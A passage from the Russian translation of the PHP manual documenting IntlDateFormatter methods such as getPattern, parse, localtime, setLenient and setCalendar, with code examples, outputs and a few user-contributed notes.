  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Получает шаблон, используемый IntlDateFormatter

  • « IntlDateFormatter::getLocale
  • IntlDateFormatter::getTimeType »
  • PHP Manual
  • IntlDateFormatter
  • Получает шаблон, используемый IntlDateFormatter

IntlDateFormatter::getPattern

datefmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getPattern -- datefmt_get_pattern — Получает шаблон, используемый IntlDateFormatter

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getPattern(): string|false

Процедурный стиль

datefmt_get_pattern(IntlDateFormatter $formatter): string|false

Получает шаблон, используемый средством форматирования.

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Строка шаблона, используемая для форматирования/разбора или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_get_pattern()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Шаблон средства форматирования : ' . datefmt_get_pattern($fmt);
echo 'Первый отформатированный вывод с шаблоном ' . datefmt_format($fmt, 0);
datefmt_set_pattern($fmt,'yyyymmdd hh:mm:ss z');
echo 'Теперь шаблон средства форматирования : ' . datefmt_get_pattern($fmt);
echo 'Второй отформатированный вывод с шаблоном ' . datefmt_format($fmt, 0);

?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Шаблон средства форматирования : ' . $fmt->getPattern();
echo 'Первый отформатированный вывод с шаблоном ' . $fmt->format(0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo 'Теперь шаблон средства форматирования : ' . $fmt->getPattern();
echo 'Второй отформатированный вывод с шаблоном ' . $fmt->format(0);
?>

Результат выполнения данного примера:

Шаблон средства форматирования : MM/dd/yyyy
Первый отформатированный вывод с шаблоном 12/31/1969
Теперь шаблон средства форматирования : yyyymmdd hh:mm:ss z
Второй отформатированный вывод с шаблоном 19690031 04:00:00 PST

Смотрите также

  • datefmt_set_pattern() - Устанавливает шаблон, используемый IntlDateFormatter
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Получает тип времени, используемый IntlDateFormatter

  • « IntlDateFormatter::getPattern
  • IntlDateFormatter::getTimeZoneId »
  • PHP Manual
  • IntlDateFormatter
  • Получает тип времени, используемый IntlDateFormatter

IntlDateFormatter::getTimeType

datefmt_get_timetype

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeType -- datefmt_get_timetype — Получает тип времени, используемый IntlDateFormatter

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getTimeType(): int|false

Процедурный стиль

datefmt_get_timetype(IntlDateFormatter $formatter): int|false

Возвращает тип времени, используемый средством форматирования.

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Значение текущего типа даты средства форматирования или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_get_timetype()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип времени средства форматирования : ' . datefmt_get_timetype($fmt);
echo 'Первый отформатированный вывод ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::SHORT,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Теперь тип времени средства форматирования : ' . datefmt_get_timetype($fmt);
echo 'Второй отформатированный вывод ' . datefmt_format($fmt, 0);

?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип времени средства форматирования : ' . $fmt->getTimeType();
echo 'Первый отформатированный вывод ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::SHORT,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Теперь тип времени средства форматирования : ' . $fmt->getTimeType();
echo 'Второй отформатированный вывод ' . $fmt->format(0);

?>

Результат выполнения данного примера:

Тип времени средства форматирования : 0
Первый отформатированный вывод Wednesday, December 31, 1969 4:00:00 PM PT
Теперь тип времени средства форматирования : 3
Второй отформатированный вывод Wednesday, December 31, 1969 4:00 PM

Смотрите также

  • datefmt_get_datetype() - Получает тип даты, используемый IntlDateFormatter
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Получает идентификатор часового пояса, используемый IntlDateFormatter

  • « IntlDateFormatter::getTimeType
  • IntlDateFormatter::getCalendarObject »
  • PHP Manual
  • IntlDateFormatter
  • Получает идентификатор часового пояса, используемый IntlDateFormatter

IntlDateFormatter::getTimeZoneId

datefmt_get_timezone_id

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeZoneId -- datefmt_get_timezone_id — Получает идентификатор часового пояса, используемый IntlDateFormatter

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getTimeZoneId(): string|false

Процедурный стиль

datefmt_get_timezone_id(IntlDateFormatter $formatter): string|false

Получает идентификатор часового пояса, используемый IntlDateFormatter.

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Строка идентификатора часового пояса, используемого этим средством форматирования или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_get_timezone_id()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'timezone_id средства форматирования: ' . datefmt_get_timezone_id($fmt) . "\n";
datefmt_set_timezone($fmt, 'Europe/Madrid');
echo 'Теперь timezone_id средства форматирования: ' . datefmt_get_timezone_id($fmt);

?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'timezone_id средства форматирования: ' . $fmt->getTimezoneId() . "\n";
$fmt->setTimezone('Europe/Madrid');
echo 'Теперь timezone_id средства форматирования: ' . $fmt->getTimezoneId();

?>

Результат выполнения данного примера:

timezone_id средства форматирования: America/Los_Angeles
Теперь timezone_id средства форматирования: Europe/Madrid

Смотрите также

  • datefmt_set_timezone() - Устанавливает часовой пояс средства форматирования
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Получает копию объекта календаря средства форматирования

  • « IntlDateFormatter::getTimeZoneId
  • IntlDateFormatter::getTimeZone »
  • PHP Manual
  • IntlDateFormatter
  • Получает копию объекта календаря средства форматирования

IntlDateFormatter::getCalendarObject

datefmt_get_calendar_object

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::getCalendarObject -- datefmt_get_calendar_object — Получает копию объекта календаря средства форматирования

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getCalendarObject(): IntlCalendar|false|null

Процедурный стиль

datefmt_get_calendar_object(IntlDateFormatter $formatter): IntlCalendar|false|null

Получает копию объекта календаря, используемого для внутренних целей средством форматирования. Календарь будет иметь тип (например, грегорианский, японский, буддийский, рок, персидский, исламский и т.д.) и часовой пояс, которые соответствуют типу и часовому поясу, используемыми средством форматирования. Дата и время объекта не указаны.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Копия внутреннего объекта календаря, используемого средством форматирования или null, если ничего не было установлено или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlDateFormatter::getCalendarObject()

<?php
$formatter = IntlDateFormatter::create(
"fr_FR@calendar=islamic",
NULL,
NULL,
"GMT-01:00",
IntlDateFormatter::TRADITIONAL
);

$cal = $formatter->getCalendarObject();

var_dump(
$cal->getType(),
$cal->getTimeZone(),
$cal->getLocale(Locale::VALID_LOCALE)
);

Результат выполнения данного примера:

string(7) "islamic"
object(IntlTimeZone)#3 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(9) "GMT-01:00"
  ["rawOffset"]=>
  int(-3600000)
  ["currentOffset"]=>
  int(-3600000)
}
string(5) "fr_FR"

Смотрите также

  • IntlDateFormatter::getCalendar() - Получает тип календаря, используемый IntlDateFormatter
  • IntlDateFormatter::setCalendar() - Устанавливает тип календаря, используемый средством форматирования
  • IntlCalendar

User Contributed Notes

There are no user contributed notes for this page.


Получает часовой пояс средства форматирования

  • « IntlDateFormatter::getCalendarObject
  • IntlDateFormatter::isLenient »
  • PHP Manual
  • IntlDateFormatter
  • Получает часовой пояс средства форматирования

IntlDateFormatter::getTimeZone

datefmt_get_timezone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::getTimeZone -- datefmt_get_timezone — Получает часовой пояс средства форматирования

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getTimeZone(): IntlTimeZone|false

Процедурный стиль

datefmt_get_timezone(IntlDateFormatter $formatter): IntlTimeZone|false

Возвращает объект IntlTimeZone, представляющий часовой пояс, который будет использоваться этим объектом для форматирования даты и времени. При форматировании объектов IntlCalendar и DateTime с помощью этого IntlDateFormatter, используемый часовой пояс будет тот, который возвращается этим методом, а не тот, который связан с форматируемыми объектами.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Связанный объект IntlTimeZone или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlDateFormatter::getTimeZone()

<?php

$madrid = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Madrid');
$lisbon = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Lisbon');

var_dump($madrid->getTimezone());
echo $madrid->getTimezone()->getDisplayName(
false, IntlTimeZone::DISPLAY_GENERIC_LOCATION, "en_US"), "\n";
echo $lisbon->getTimeZone()->getId(), "\n";
//Идентификатор также можно получить с помощью ->getTimezoneId()
echo $lisbon->getTimeZoneId(), "\n";

Результат выполнения данного примера:

object(IntlTimeZone)#4 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(13) "Europe/Madrid"
  ["rawOffset"]=>
  int(3600000)
  ["currentOffset"]=>
  int(7200000)
}
Spain Time
Europe/Lisbon
Europe/Lisbon

Смотрите также

  • IntlDateFormatter::getTimeZoneId() - Получает идентификатор часового пояса, используемый IntlDateFormatter
  • IntlDateFormatter::setTimeZone() - Устанавливает часовой пояс средства форматирования
  • IntlTimeZone

User Contributed Notes

There are no user contributed notes for this page.


Получает снисходительность, используемую для IntlDateFormatter

  • « IntlDateFormatter::getTimeZone
  • IntlDateFormatter::localtime »
  • PHP Manual
  • IntlDateFormatter
  • Получает снисходительность, используемую для IntlDateFormatter

IntlDateFormatter::isLenient

datefmt_is_lenient

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::isLenient -- datefmt_is_lenient — Получает снисходительность, используемую для IntlDateFormatter

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::isLenient(): bool

Процедурный стиль

datefmt_is_lenient(IntlDateFormatter $formatter): bool

Проверяет, является ли синтаксический анализатор строгим или снисходительным при интерпретации входных данных, которые не точно соответствуют шаблону.

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Возвращает true, если парсер снисходителен или false, если парсер строгий. По умолчанию парсер снисходителен.

Примеры

Пример #1 Пример использования datefmt_is_lenient()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'dd/mm/yyyy'
);
echo 'Снисходительность средства форматирования: ';
if ($fmt->isLenient()) {
echo 'Да';
} else {
echo 'Нет';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Попытка выполнить синтаксический анализ '35/13/1971'.\nРезультат: " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nОшибка: " . intl_get_error_message();
echo "\nКод ошибки: " . intl_get_error_code();
}
datefmt_set_lenient($fmt,false);
echo 'Теперь снисходительность средства форматирования: ';
if ($fmt->isLenient()) {
echo 'Да';
} else {
echo 'Нет';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Попытка выполнить синтаксический анализ '35/13/1971'.\nРезультат: " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nОшибка: " . intl_get_error_message();
echo "\nКод ошибки: " . intl_get_error_code();
}

?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
"dd/mm/yyyy"
);
echo "Снисходительность средства форматирования: ";
if ($fmt->isLenient()) {
echo 'Да';
} else {
echo 'Нет';
}
$fmt->parse('35/13/1971');
echo "\n Попытка выполнить синтаксический анализ '35/13/1971'.\nРезультат: " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0){
echo "\nОшибка: " . intl_get_error_message();
echo "\nКод ошибки: " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo 'Теперь снисходительность средства форматирования: ';
if ($fmt->isLenient()) {
echo 'Да';
} else {
echo 'Нет';
}
$fmt->parse('35/13/1971');
echo "\n Попытка выполнить синтаксический анализ '35/13/1971'.\nРезультат: " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nОшибка: " . intl_get_error_message();
echo "\nКод ошибки: " . intl_get_error_code();
}

?>

Результат выполнения данного примера:

Снисходительность средства форматирования: Да
Попытка выполнить синтаксический анализ '35/13/1971'.
Результат: -2147483
Теперь снисходительность средства форматирования: Нет
Попытка выполнить синтаксический анализ '35/13/1971'.
Результат:
Ошибка: Date parsing failed: U_PARSE_ERROR
Код ошибки: 9

Смотрите также

  • datefmt_set_lenient() - Устанавливает мягкий режим анализатора
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Преобразует строку в значение времени на основе поля

  • « IntlDateFormatter::isLenient
  • IntlDateFormatter::parse »
  • PHP Manual
  • IntlDateFormatter
  • Преобразует строку в значение времени на основе поля

IntlDateFormatter::localtime

datefmt_localtime

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::localtime -- datefmt_localtime — Преобразует строку в значение времени на основе поля

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::localtime(string $string, int &$offset = null): array|false

Процедурный стиль

datefmt_localtime(IntlDateFormatter $formatter, string $string, int &$offset = null): array|false

Преобразует строку $value в значение времени на основе полей (массив различных полей), начиная с $parse_pos и используя как можно большую часть входного значения.

Список параметров

formatter

Ресурс средства форматирования.

string

Строка для преобразования во время.

offset

Позиция, с которой следует начать синтаксический анализ в $value (начиная с нуля). Если до использования $value ошибки не возникает, $parse_pos будет содержать -1, в противном случае он будет содержать позицию, в которой закончился синтаксический анализ. Если $parse_pos > strlen($value), разбор немедленно завершается ошибкой.

Возвращаемые значения

Массив целых чисел, совместимый с местным временем: содержит 24-часовое значение в поле tm_hour или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_localtime()

<?php

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$arr = datefmt_localtime($fmt, 'Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'Преобразованный вывод: ';
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}

?>

Пример #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$arr = $fmt->localtime('Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'Преобразованный вывод: ';
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}

?>

Результат выполнения данного примера:

Преобразованный вывод: tm_sec : 0 , tm_min : 0 , tm_hour : 16 , tm_year : 1969 ,
tm_mday : 31 , tm_wday : 4 , tm_yday : 365 , tm_mon : 11 , tm_isdst : 0 ,

Смотрите также

  • datefmt_create() - Создаёт средство форматирования даты
  • datefmt_format() - Форматирует значение даты/времени в виде строки
  • datefmt_parse() - Преобразует строку в значение отметки времени
  • datefmt_get_error_code() - Получает код ошибки последней операции
  • datefmt_get_error_message() - Получает текст ошибки последней операции

User Contributed Notes

Patanjali 04-Mar-2017 11:19
Learning lesson here: Never trust the PHP documentation. Test everything!

$position does not work as described, at least in PHP 7. After parsing without errors, it does not contain -1.

You can still use it to set the parsing start character position, but not necessarily whether any errors occurred.

To test for errors, replace my $nPosition test code in the other note with:
<?php
// Check if errors
$bError = intl_is_failure(datefmt_get_error_code(oIDF));

// If no error
if(!$bError){
 // Use 'tm_hour' and 'tm_min' from the $aTime array for checking against other time values
 ...
}else{
 // Invalid string
 ...
}
?>
Patanjali 04-Mar-2017 03:55
You can use datefmt_localtime to convert a user's time string, input using their locale's script, into standard numbers for checking, using a simple HTML input element.

This avoids using clunky HTML select elements formatted with hour and minute options in the locale's script to capture user input.

<?php
// Specify locale of user
$sLocale = 'en-us'; // US English user
$sLocale = 'ar-ye'; // Yemen Arab user

// Create a date formatter for the user's locale
$oIDF = datefmt_create($sLocale, IntlDateFormatter::NONE, IntlDateFormatter::SHORT);

// Simulate a user's time input string
$sTime = datefmt_format($oIDF, ['tm_hour'=>15, 'tm_min'=>25]);
// For a US English user, $sTime = '3:25 PM'
// For a Yemen Arab user, $sTime = '?:?? ?'

// Specify datefmt_locale parsing start at the beginning of the user input
$nPosition = 0;

// Convert input time string to array of standard numeric values, as per localtime() output (http://php.net/manual/en/function.localtime.php)
$aTime = datefmt_localtime($oIDF, $sTime, $nPosition);
// If no errors, $nPosition set to -1 after parsing, else character position of error

// If valid string
if($nPosition = -1){
 // Use 'tm_hour' and 'tm_min' from the $aTime array for checking against other time values
 ...
}else{
 // Invalid string
 ...
}
?>


Преобразует строку в значение отметки времени

  • « IntlDateFormatter::localtime
  • IntlDateFormatter::setCalendar »
  • PHP Manual
  • IntlDateFormatter
  • Преобразует строку в значение отметки времени

IntlDateFormatter::parse

datefmt_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::parse -- datefmt_parse — Преобразует строку в значение отметки времени

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::parse(string $string, int &$offset = null): int|float|false

Процедурный стиль

datefmt_parse(IntlDateFormatter $formatter, string $string, int &$offset = null): int|float|false

Преобразует string в инкрементное значение времени, начиная с offset и используя как можно большую часть входного значения.

Список параметров

formatter

Ресурс средства форматирования.

string

Строка для преобразования во время.

offset

Позиция, с которой следует начать синтаксический анализ в string (начиная с нуля). Если до использования string ошибки не возникает, offset будет содержать -1, в противном случае он будет содержать позицию, в которой закончился синтаксический анализ (и произошла ошибка). Эта переменная будет содержать конечную позицию, если при синтаксическом анализе возникла ошибка. Если offset > strlen($string), разбор немедленно завершается ошибкой.

Возвращаемые значения

Отметка времени преобразованного значения или false, если значение не может быть преобразовано.

Примеры

Пример #1 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Первый преобразованный вывод: ' . $fmt->parse('Wednesday, December 20, 1989 4:00:00 PM PT');
$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
?>

Пример #2 Пример использования datefmt_parse()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Первый преобразованный вывод: ' . datefmt_parse($fmt, 'Wednesday, December 20, 1989 4:00:00 PM PT');
$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Второй преобразованный вывод: ' . datefmt_parse($fmt, 'Mittwoch, 20. Dezember 1989 16:00 Uhr GMT-08:00');
?

Результат выполнения данного примера:

Первый преобразованный вывод: 630201600
Второй преобразованный вывод: 630201600

Смотрите также

  • datefmt_create() - Создаёт средство форматирования даты
  • datefmt_format() - Форматирует значение даты/времени в виде строки
  • datefmt_localtime() - Преобразует строку в значение времени на основе поля
  • datefmt_get_error_code() - Получает код ошибки последней операции
  • datefmt_get_error_message() - Получает текст ошибки последней операции

User Contributed Notes

Anonymous 11-Jul-2018 11:44
Please note:
* on  a 32-bit system, parse() will return float if the value gets out of integer range
* while parse() parses fractional seconds with a format like 'yyyy-MM-dd HH:mm:ss.SSSSSS', it only returns an int. This is also true when the value is returned as float, msecs remain absent in the return value.


Устанавливает тип календаря, используемый средством форматирования

  • « IntlDateFormatter::parse
  • IntlDateFormatter::setLenient »
  • PHP Manual
  • IntlDateFormatter
  • Устанавливает тип календаря, используемый средством форматирования

IntlDateFormatter::setCalendar

datefmt_set_calendar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::setCalendar -- datefmt_set_calendar — Устанавливает тип календаря, используемый средством форматирования

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::setCalendar(IntlCalendar|int|null $calendar): bool

Процедурный стиль

datefmt_set_calendar(IntlDateFormatter $formatter, IntlCalendar|int|null $calendar): bool

Устанавливает тип календаря, используемый средством форматирования.

Список параметров

formatter

Ресурс средства форматирования.

calendar

Может быть: тип календаря для использования (по умолчанию IntlDateFormatter::GREGORIAN, который также используется, если указано значение null) или объект IntlCalendar.

Любой переданный объект IntlCalendar будет клонирован; в объект аргумента не будет внесено никаких изменений.

Часовой пояс средства форматирования будет сохранён только в том случае, если объект IntlCalendar не передан, в противном случае новый часовой пояс будет таким же, как у переданного объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
5.5.0/PECL 3.0.0 | Добавлена возможность передать объект IntlCalendar.

Примеры

Пример #1 Пример использования datefmt_set_calendar()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип календаря средства форматирования : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Теперь тип календаря : ' . datefmt_get_calendar($fmt);
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип календаря средства форматирования : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Теперь тип календаря : ' . $fmt->getCalendar();
?>

Результат выполнения данного примера:

Тип календаря средства форматирования : 1
Теперь тип календаря : 0

Пример #3 Пример использования IntlCalendar с параметром

<?php
$time = strtotime("2013-03-03 00:00:00 UTC");
$formatter = IntlDateFormatter::create("en_US", NULL, NULL, "Europe/Amsterdam");

echo "До: ", $formatter->format($time), "\n";

/* обратите внимание, что языковой стандарт календаря не используется! */
$formatter->setCalendar(IntlCalendar::createInstance(
"America/New_York", "pt_PT@calendar=islamic"));

echo "После: ", $formatter->format($time), "\n";

Результат выполнения данного примера:

До: Sunday, March 3, 2013 at 1:00:00 AM Central European Standard Time
После:  Saturday, Rabi? II 20, 1434 at 7:00:00 PM Eastern Standard Time

Смотрите также

  • datefmt_get_calendar() - Получает тип календаря, используемый IntlDateFormatter
  • datefmt_get_calendar_object() - Получает копию объекта календаря средства форматирования
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает мягкий режим анализатора

  • « IntlDateFormatter::setCalendar
  • IntlDateFormatter::setPattern »
  • PHP Manual
  • IntlDateFormatter
  • Устанавливает мягкий режим анализатора

IntlDateFormatter::setLenient

datefmt_set_lenient

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::setLenient -- datefmt_set_lenient — Устанавливает мягкий режим анализатора

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::setLenient(bool $lenient): void

Процедурный стиль

datefmt_set_lenient(IntlDateFormatter $formatter, bool $lenient): void

Определяет, является ли режим анализатора строгим или мягким при интерпретации входных данных, которые в точности не соответствуют шаблону. Включение мягкого синтаксического анализа позволяет синтаксическому анализатору принимать ошибочные шаблоны даты или времени, анализируя как можно больше для получения значения. Лишний пробел, нераспознанные токены или недопустимые значения ("February 30th") не принимаются.

Список параметров

formatter

Ресурс средства форматирования.

lenient

Устанавливает, является ли анализатор vzurbv или нет, по умолчанию true (мягкий).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_set_lenient()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'dd/MM/yyyy'
);
echo 'Мягкий режим средства форматирования : ';
if ($fmt->isLenient()) {
echo 'ДА';
} else {
echo 'НЕТ';
}
datefmt_parse($fmt, '35/13/1971');
echo "\nПопытка разобрать '35/13/1971'.\nРезультат : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nСообщение об ошибке : " . intl_get_error_message();
echo "\nКод ошибки : " . intl_get_error_code();
}
datefmt_set_lenient($fmt, false);
echo "\nТеперь мягкий режим средства форматирования : ";
if ($fmt->isLenient()) {
echo 'ДА';
} else {
echo 'НЕТ';
}
datefmt_parse($fmt, '35/13/1971');
echo "\nПопытка разобрать '35/13/1971'.\nРезультат : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nСообщение об ошибке : ".intl_get_error_message();
echo "\nКод ошибки : ".intl_get_error_code();
}

?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'dd/MM/yyyy'
);
echo 'Мягкий режим средства форматирования : ';
if ($fmt->isLenient()) {
echo 'ДА';
} else {
echo 'НЕТ';
}
$fmt->parse('35/13/1971');
echo "\nПопытка разобрать '35/13/1971'.\nРезультат : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nСообщение об ошибке : " . intl_get_error_message();
echo "\nКод ошибки : " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo "\nТеперь мягкий режим средства форматирования : ";
if ($fmt->isLenient()) {
echo 'ДА';
} else {
echo 'НЕТ';
}
$fmt->parse('35/13/1971');
echo "\nПопытка разобрать '35/13/1971'.\nРезультат : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
echo "\nСообщение об ошибке : " . intl_get_error_message();
echo "\nКод ошибки : " . intl_get_error_code();
}

?>

Результат выполнения данного примера:

Мягкий режим средства форматирования : ДА
Попытка разобрать '35/13/1971'.
Результат : 66038400
Теперь мягкий режим средства форматирования : НЕТ
Попытка разобрать '35/13/1971'.
Результат :
Сообщение об ошибке : Date parsing failed: U_PARSE_ERROR
Код ошибки : 9

Смотрите также

  • datefmt_is_lenient() - Получает снисходительность, используемую для IntlDateFormatter
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает шаблон, используемый IntlDateFormatter

  • « IntlDateFormatter::setLenient
  • IntlDateFormatter::setTimeZone »
  • PHP Manual
  • IntlDateFormatter
  • Устанавливает шаблон, используемый IntlDateFormatter

IntlDateFormatter::setPattern

datefmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::setPattern -- datefmt_set_pattern — Устанавливает шаблон, используемый IntlDateFormatter

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::setPattern(string $pattern): bool

Процедурный стиль

datefmt_set_pattern(IntlDateFormatter $formatter, string $pattern): bool

Устанавливает шаблон, используемый IntlDateFormatter.

Список параметров

formatter

Ресурс средства форматирования.

pattern

Новая строка шаблона для использования. Возможные шаблоны можно посмотреть на » https://unicode-org.github.io/icu/userguide/format_parse/datetime/.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Обычно причиной ошибки являются плохо отформатированные строки.

Примеры

Пример #1 Пример использования datefmt_set_pattern()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Шаблон средства форматирования : ', datefmt_get_pattern($fmt), PHP_EOL;
echo 'Первый отформатированный вывод : ', datefmt_format($fmt, 0), PHP_EOL;
datefmt_set_pattern($fmt, 'yyyyMMdd hh:mm:ss z');
